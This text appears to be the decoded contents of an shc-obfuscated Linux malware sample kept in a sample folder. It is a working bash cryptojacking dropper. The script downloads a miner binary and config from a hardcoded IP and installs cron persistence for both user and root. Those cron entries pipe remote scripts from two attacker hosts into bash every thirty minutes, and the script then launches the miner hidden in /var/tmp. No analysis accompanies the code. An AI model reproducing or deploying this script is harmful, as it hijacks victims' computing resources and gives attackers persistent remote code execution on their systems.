/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8 -c " #!/bin/bash ifrunning=\$(pgrep xrx) ######################## ######################## downloadminer(){ link1=\"http://185.252.178.82:6972/xrx/xrx\" link2=\"http://185.252.178.82:6972/configs/config-xrx.json\" mkdir /var/tmp/.xrx cd /var/tmp/.xrx/ chattr -ia /var/tmp/.xrx/xrx chattr -ia /var/tmp/.xrx/config.json rm -rf /var/tmp/.xrx/xrx rm -rf /var/tmp/.xrx/config.json curl -L -O \$link1 || cd1 -L -O \$link1 || wget \$link1 --no-check-certificate curl -L -O \$link2 || cd1 -L -O \$link2 || wget \$link2 --no-check-certificate mv config-xrx.json config.json chmod +x /var/tmp/.xrx/xrx } ######################## ######################## crontablegend(){ if (( \$EUID != 0 )); then if ! crontab -l | grep -q 'secure'; then cd /dev/shm rm -rf /dev/shm/.spark echo \"@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"*/30 * * * * curl 185.252.178.82:1011/next | bash \" >> .spark sleep 1 echo \"*/30 * * * * curl load.whitesnake.church:1011/next | bash \" >> .spark sleep 1 crontab .spark sleep 2 rm -rf /dev/shm/.spark fi fi if (( \$EUID == 0 )); then if ! cat /etc/crontab | grep -q 'secure'; then echo \"@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"*/30 * * * * root curl 185.252.178.82:1011/next | bash \" >> /etc/crontab echo \"*/30 * * * * root curl load.whitesnake.church:1011/next | bash \" >> /etc/crontab fi fi } ######################## ######################## gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print \$5}'` if [ -f /var/tmp/.xrx/xrx ]; then echo \"miner intact\" else echo \"miner not found,downloading...\" downloadminer fi if [[ \"\$fsiz\" -gt 0 ]]; then echo \"miner size intact\" else echo \"filesize 0,downloading...\" downloadminer fi } ######################## ######################## gettingmineru crontablegend if test -z \"\$ifrunning\" ; then echo \"xrx not running,starting...\" /var/tmp/.xrx/xrx </dev/null &>/dev/null & disown -h %1 sleep 1 echo -e \"pid:\" pgrep xrx fi " /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8